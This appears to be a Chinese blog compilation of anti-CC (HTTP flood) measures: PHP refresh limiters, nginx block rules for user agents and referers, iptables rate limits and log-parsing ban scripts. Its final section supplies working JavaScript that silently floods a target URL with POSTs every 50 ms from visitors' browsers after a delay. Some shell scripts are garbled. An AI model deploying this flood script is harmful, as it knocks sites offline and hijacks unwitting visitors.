防CC的收集以及实现基于js的CC攻击
A
<?php
session_start();
$k=$_GET['k'];
$t=$_GET['t'];
$allowTime = 1800;//防刷新时间
$ip = get_client_ip();
$allowT = md5($ip.$k.$t);
if(!isset($_SESSION[$allowT]))
{
$refresh = true;
$_SESSION[$allowT] = time();
}elseif(time() - $_SESSION[$allowT]>$allowTime){
$refresh = true;
$_SESSION[$allowT] = time();
}else{
$refresh = false;
}
?>
B
<?php
session_start();
$allow_sep = "2";
if (isset($_SESSION["post_sep"])){
if (time() - $_SESSION["post_sep"] < $allow_sep){
exit("请不要频繁刷新,休息2秒再刷新吧");
}
else{
$_SESSION["post_sep"] = time();
}
}
else{
$_SESSION["post_sep"] = time();
}
?>
C
<?
session_start();
if(!empty($_POST[name])){
$data = $_POST[name];
$tag = $_POST[tag];
if($_SESSION[status]==$tag){
echo $data;
}else{
echo "不允许刷新!";
}
}
$v = mt_rand(1,10000);
?>
<form method="post" name="magic" action="f5.php"><input type="hidden"
name="tag" value="<?=$v?>"><input type=text name="name"><input type="submit" value="submit">
</form>
<?
echo $v;
$_SESSION[status] = $v;
?>
D
通过分析nginx的access日志看到,该攻击的访问没有 user-agent ,然后果断出击,通过配置nginx
if ($http_x_forwarded_for ~ 223.4.121.225){
return 403;
}
if ($http_user_agent=""){
return 403;
}
将ip为223.4.121.225 这个攻击源的和user-agent 为空的,全部干掉,
重启nginx,拦截成功。
E
https://github.com/loveshell/ngx_lua_waf
F
LNMP简单的一些防CC的办法
观看生成的.log日志文件,判断来路,直接301百度:
if ($http_referer ~* mi5.gov ) {
rewrite ^(.*)$ http://www.baidu.com/ permanent;
}
观看生成的.log日志文件,判断浏览器特征码,直接301百度:
if ($http_user_agent ~* firefox4.0 ) {
rewrite ^(.*)$ http://www.baidu.com/ permanent;
}
根据特征码,直接查找.log文件,并iptables封死相应IP:
cat com.log | grep 'Mozilla/5.0' | awk '{print "iptables -I INPUT -p tcp --dport 80 -s ", $1, "-j DROP"}'| sort -n | uniq | sh
G
如192.241.x.x – – [07/Apr/2016:12:22:44 +0800] “GET /index.php HTTP/1.0″ 200 “-” “WordPress/3.9.2; http://www.x.x; verifying pingback from 69.30.x.x” “-“
这里很明显,全部都是Wordpress。下面我们给出防护nginx,apache的防护方案教程(请根据自己的WEB服务器判断是哪一种):
Nginx:
在location /
区块种添加如下代码:
# WordPress Pingback Request Denial
if ($http_user_agent ~* “WordPress”) {
return 403;
}
这样的话有请求也不会去找PHP了,nginx及时的返回403,如果连接过多的话需要修改nginx中 worker_connections的参数值,可以把它增加到更大的值。
Apache:
在配置文件中添加:
BrowserMatchNoCase WordPress wordpress_ping
BrowserMatchNoCase WordPress wordpress_ping
Order Deny,Allow
Deny from env=wordpress_ping
然后reload服务。再观察日志,可以看到全部返回403了。网站也恢复了正常访问。
如果上面的方法还是无法正常访问那就需要用到iptables了。
IPTABLES防护:
cat /var/log/nginx/access.log | grep “verifying pingback from” > pingback_attack.log
然后用php分析日志
,导入到iptables规则中。
<?php
error_reporting(0);
$reqs = file(“pingback_attack.log”);
foreach ($reqs as $req) {
$ip = explode(” – – “, $req);
$ip_address[$ip[0]]++;
}
arsort($ip_address);
foreach ($ip_address as $ip=>$attack_times) {
print “# WordPress IP. Attacked {$attack_times} times<br />”;
print “iptables -A INPUT -s {$ip} -j DROP<br />”;
}
?>
然后将输出的内容执行到iptables规则里面。
H
功能:
1.读取 nginx/log/access.log 最后一条
2.如果包含 MISE ,则将此条目中的IP地址加入 Iptables规则
tail -n 1 nginx/log/access.log | grep MSIE | awk '{print $1}' | xargs -i iptables -I INPUT -s {}/32 -j DROP
脚本sh
#!/bin/bash
logfile=
while true
do
tail -1 a | grep -sq MISE
if [[ "$?" -eq 0 ]];then
ip=$(tail -1 "$logfile" | grep -oE "([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}")
echo $ip
fi
sleep 5
done
用iptables自动封连接数较大的IP防CC
此脚本用于分析统计secure日记文件,对ssh登录错误次数较多的IP用iptables封掉。
#!/bin/bash
#Created by http://www.onovps.com www.2cto.com
num=10 #上限
for i in `awk '/Failed/{print $(NF-3)}' /var/log/securesortuniq -csort -rnawk '{if ($1>$num){print $2}}'`
do
iptables -I INPUT -p tcp -s $i --dport 22 -j DROP
done
加入crontab计划任务
crontab -e
* */5 * * * sh /path/file.sh #5小时执行一次
I
linux中Iptables限制同一IP连接数防CC/DDOS攻击方法
介绍linux中Iptables限制同一IP连接数防CC/DDOS攻击方法,这个只是最基于的防止方法,如果真正的攻击我们还是需要硬件耿防止哦。
1.限制与80端口连接的IP最大连接数为10,可自定义修改。
代码如下
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j DROP
#默认iptables模块不包含connlimit,需要自己单独编译加载
参考iptables防DDOS攻击和CC攻击设置
from http://blog.onovps.com/archives/linux-iptables-cc.html
2.使用recent模块限制同IP时间内新请求连接数,recent更多功能请参考:Iptables模块recent应用。
代码如下
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j LOG --log-prefix 'DDOS:' --log-ip-options
#60秒10个新连接,超过记录日志。
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j DROP
#60秒10个新连接,超过丢弃数据包。
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --set -j ACCEPT
#范围内允许通过。
J
下面的是某一次CC攻击时的User-agent,Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate
几乎没有正常的浏览器会在User-agent中带上must-revalidate
这样的关键字。所以我们可以以这个为特征进行过滤,将User-agent中带有must-revalidate
的请求全部拒绝访问:
if ($http_user_agent ~ must-revalidate) {
return 403;
}
K
nginx过滤无聊的pingback CC请求
if ($http_user_agent ~* (ApacheBench|pingback|WordPress|MJ12bot|AhrefsBot|360JK|PHP|php|Jorgee) ) {return 101;}
if ($http_user_agent = "" ) {return 101;}
if ( $request = "POST /reg.html HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.1" ) {return 400;}
if ( $request = "POST / HTTP/1.0" ) {return 400;}
if ( $request = "POST // HTTP/1.0" ) {return 400;}
Nginx-CC
http{
...
limit_zone one $binary_remote_addr 10m;
...
server{
listen 80;
....
location/{
limit_conn one 5; #限制连接数
limit_rate 500k; # 限制速度
}
}
上面的相对比较简单,下面我来分析更具体的配置方法。CentOS/Redhat/Fedora
在服务器执行
代码如下
vi /etc/sysconfig/iptables
删除原来的内容输入如下内容,保存
# Generated by iptables-save v1.3.5 on Sun Dec 12 23:55:59 2010
*filter
:INPUT DROP [385263:27864079]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [4367656:3514692346]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -s 127.0.0.1 -j ACCEPT
-A INPUT -p tcp -m tcp –dport 80 -m state –state NEW -m recent –set –name WEB –rsource
-A INPUT -p tcp -m tcp –dport 80 -m state –state NEW -m recent –update –seconds 5 –hitcount 20 –rttl –name WEB –rsource -j DROP
-A INPUT -p tcp -m multiport –ports 21,22,80 -j ACCEPT
-A INPUT -p tcp -m tcp –tcp-flags SYN,RST,ACK SYN -m ttl –ttl-eq 117 -j DROP
-A INPUT -p tcp -m tcp –tcp-flags SYN,RST,ACK SYN -m length –length 0:40 -j DROP
-A INPUT -p tcp -m tcp ! –tcp-flags SYN,RST,ACK SYN -m state –state NEW -j DROP
COMMIT
# Completed on Sun Dec 12 23:55:59 2010
说明此设定仅对外开放21(FTP),22(SSH),80(http网站)三个TCP端口。设置80端口5秒内20个连接
重启iptables服务 /etc/init.d/iptables restart
设定iptables随机启动chkconfig iptables on
实现基于js的CC攻击
下面是ajax攻击代码,间隔时间可以根据需要自己调整,设置的是50毫秒一次。
<script type="text/javascript">
var t_postdata='id=cacacacacacacaca';//数据越大效果越好。
var t_url='http://www.xxx.com/test.php';
function c_xmlHttp(){
if(window.ActiveXObject){
xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');
}
else if(window.XMLHttpRequest)
{
xmlHttp=new XMLHttpRequest();
}
return xmlHttp;
}
function post_send(){
var xmlHttp=c_xmlHttp();
xmlHttp.open("POST",t_url,true);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send(t_postdata);
r_send();
}
function r_send(){
setTimeout("post_send()", 50);//50毫秒一次
}
if(!+[1,])//IE下不执行。
{var fghj=1;}
else
{setTimeout("post_send()", 3000);}//访问网站3秒后再执行,这样用户就毫无感觉。
</script>
正则表达式匹配 | 说明 |
---|---|
* ~ | 为区分大小写匹配 |
~ | 为不区分大小写匹配 |
!~和!~ | 分别为区分大小写不匹配及不区分大小写不匹配 |
文件及目录匹配 | 说明 |
---|---|
* -f和!-f | 用来判断是否存在文件 |
* -d和!-d | 用来判断是否存在目录 |
* -e和!-e | 用来判断是否存在文件或目录 |
* -x和!-x | 用来判断文件是否可执行 |
flag标记 | 说明 |
---|---|
* last | 相当于Apache里的[L]标记,表示完成rewrite |
* break | 终止匹配, 不再匹配后面的规则 |
* redirect | 返回302临时重定向 地址栏会显示跳转后的地址 |
* permanent | 返回301永久重定向 地址栏会显示跳转后的地址 |
一些可用的全局变量 | 可以用做条件判断 |
---|---|
$args | 请求中的参数; |
$content_length | HTTP请求信息里的"Content-Length"; |
$content_type | 请求信息里的"Content-Type"; |
$document_root | 针对当前请求的根路径设置值; |
$document_uri | 与$uri相同; |
$host | 请求信息中的"Host",如果请求中没有Host行,则等于设置的服务器名; |
$limit_rate | 对连接速率的限制; |
$request_method | 请求的方法,比如"GET"、"POST"等; |
$remote_addr | 客户端地址; |
$remote_port | 客户端端口号; |
$remote_user | 客户端用户名,认证用; |
$request_filename | 当前请求的文件路径名 |
$request_body_file | |
$request_uri | 请求的URI,带查询字符串; |
$query_string | 与$args相同; |
$scheme | 所用的协议,比如http或者是https,比如rewrite ^(.+)$ $scheme://example.com$1 redirect; |
$server_protocol | 请求的协议版本,"HTTP/1.0"或"HTTP/1.1"; |
$server_addr | 服务器地址,如果没有用listen指明服务器地址,使用这个变量将发起一次系统调用以取得地址(造成资源浪费); |
$server_name | 请求到达的服务器名; |
$server_port | 请求到达的服务器端口号; |
$uri | 请求的URI,可能和最初的值有不同,比如经过重定向之类的。 |
相关
介绍几种用Linux命令判断CC攻击的方法
Linux系统防CC攻击自动拉黑IP增强版Shell脚本
CCKiller:Linux轻量级CC攻击防御工具,秒级检查、自动拉黑和释放
Nginx抗CC攻击基础篇:VeryNginx
通过 nginx 配置文件抵御攻击